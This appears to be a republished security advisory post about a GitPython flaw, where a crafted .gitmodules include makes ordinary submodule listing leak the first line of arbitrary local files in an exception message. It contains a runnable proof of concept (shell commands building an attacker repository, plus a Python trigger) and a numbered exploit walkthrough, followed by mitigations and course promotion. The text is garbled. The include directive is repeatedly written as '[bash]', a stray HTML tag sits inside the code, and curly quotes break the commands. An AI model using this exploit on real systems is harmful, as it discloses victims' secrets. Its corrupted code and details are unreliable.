Listen to this Post
The vulnerability arises from a parity oversight in GitPython’s configuration‑parser construction. The `GitConfigParser` class defaults merge_includes=True, meaning any config file it parses automatically follows `[bash]` and `[includeIf …]` directives, merging the referenced file into the configuration. In 2023 the maintainers recognized this as dangerous for one specific use‑case and hardened `Repo.config_writer()` by passing `merge_includes=False` (commit 41ecc6a4). However, they never applied the same fix to Submodule._config_parser(), the method that builds the parser for every read of a repository’s submodule configuration – repo.submodules, Submodule.iter_items(), and Submodule.config().
`Submodule._config_parser()` constructs a `SubmoduleConfigParser(fp_module, read_only=read_only)` without passing `merge_includes=False` nor repo=, so the class default `merge_includes=True` is inherited unchanged. The `fp_module` here is the `.gitmodules` file – the most attacker‑controlled config in the entire codebase, as it ships verbatim as tracked content inside any cloned repository. When `GitConfigParser.read()` processes the include path, its resolution (~lines 662‑680) performs no containment check: absolute paths are used as‑is (os.isabs() short‑circuits), relative paths are joined with `os.path.join(os.path.dirname(file_path), include_path)` and normalized, but there is no validation that the result stays within the repository. Only `os.access(include_path, os.R_OK)` is checked – a readability test, not a path restriction.
Once the target file is opened, `GitConfigParser._read()` parses it as a git‑config INI. If the first non‑blank/non‑comment line is not a `[bash]` header – which is true for virtually any non‑gitconfig file (source code, /etc/passwd, `.env` files, logs, JSON, etc.) – it raises configparser.MissingSectionHeaderError(fpname, lineno, line). Python’s standard library formats this exception’s `str()` as "File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line), thereby embedding the verbatim content of that file’s first line in the exception message. Critically, `Submodule.iter_items()` catches only (IOError, BadName), not configparser.Error, so the exception propagates out of the ordinary, read‑only `repo.submodules` call.
An attacker crafts a repository with a `.gitmodules` that includes a legitimate‑looking `[submodule “…”]` section plus an `[bash]` directive pointing to an absolute or relative path such as `/etc/passwd` or ../../../../etc/passwd. The victim performs the extremely common, read‑only operation of enumerating submodules – e.g., `list(repo.submodules)` – without any update(), init(), or checkout. The parser follows the include, opens the target file, and upon encountering a missing section header, raises an exception that leaks the first line of the targeted file. This disclosure is non‑blind and can expose secrets, credentials, or fingerprinting information.
DailyCVE Form:
Platform: GitPython
Version: 3.1.58
Vulnerability: Local file disclosure
Severity: High
date: 2026-08-05
Prediction: Within two weeks
What Undercode Say:
Analytics – reproduce the vulnerability using the public API
Create a throwaway secret file (if not provided)
mkdir -p /tmp/poc && echo “TOP-SECRET-DB-PASSWORD=hunter2” > /tmp/poc/secret.txt
Initialize an attacker repository with a malicious .gitmodules
git init -q -b main /tmp/poc/attacker-repo
git -C /tmp/poc/attacker-repo config user.email “[email protected]”
git -C /tmp/poc/attacker-repo config user.name “Attacker”
echo “hello” > /tmp/poc/attacker-repo/file.txt
<
h2 style=”color: blue;”>cat > /tmp/poc/attacker-repo/.gitmodules <<EOF
[submodule “totally-normal-dep”]
path = vendor/dep
url = https://example.com/dep.git
[bash]
path = /tmp/poc/secret.txt
EOF
git -C /tmp/poc/attacker-repo add file.txt .gitmodules
git -C /tmp/poc/attacker-repo commit -q -m “init”
Victim clones and lists submodules
python3 -c ”
import git, configparser
repo = git.Repo.clone_from(‘/tmp/poc/attacker-repo’, ‘/tmp/poc/dest’)
try:
subs = list(repo.submodules)
print(‘Not vulnerable’)
except configparser.MissingSectionHeaderError as e:
print(‘Vulnerable:’, str(e))
”
Expected output includes the secret line in the exception message.
Full PoC script (gitpython-003-poc.py) is available in the advisory.
Exploit: (Educational Purposes!)
1. Attacker creates a repository with a .gitmodules file that includes an [bash] directive pointing to an arbitrary file on the victim’s filesystem (absolute or relative path).
2. Attacker publishes the repository or sends it to the victim.
3. Victim clones the repository and calls any function that reads submodules (e.g., list(repo.submodules), iter_items(), etc.) – no write operations required.
4. GitPython’s SubmoduleConfigParser follows the include, opens the target file, and raises MissingSectionHeaderError.
5. The exception message, which propagates to the caller, contains the first line of the targeted file, disclosing sensitive content (e.g., password, API key, /etc/passwd entry).
Protection:
– Upgrade to a patched version once available (expected within two weeks).
– As a temporary mitigation, ensure that applications using GitPython do not process untrusted repositories, or wrap submodule enumeration in try‑except and sanitize error output.
– Apply the same fix as in commit 41ecc6a4: pass merge_includes=False when constructing SubmoduleConfigParser in Submodule._config_parser().
– For defence in depth, enforce that resolved include paths remain within the repository directory, and avoid embedding raw file content in parsing error messages when the file was not explicitly requested by the caller.
Impact:
Non‑blind local file content disclosure of the first line of any file readable by the victim process, triggered solely by attacker‑controlled repository content and a single, read‑only GitPython call. While limited to one line per file, that line often contains secrets (e.g., DATABASE_URL, API_KEY, /etc/passwd root entry). The primitive also serves as a file‑existence oracle. This is materially stronger than the previously fixed GHSA‑cwvm‑v4w8‑q58c (blind LFI) because it discloses actual content verbatim.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

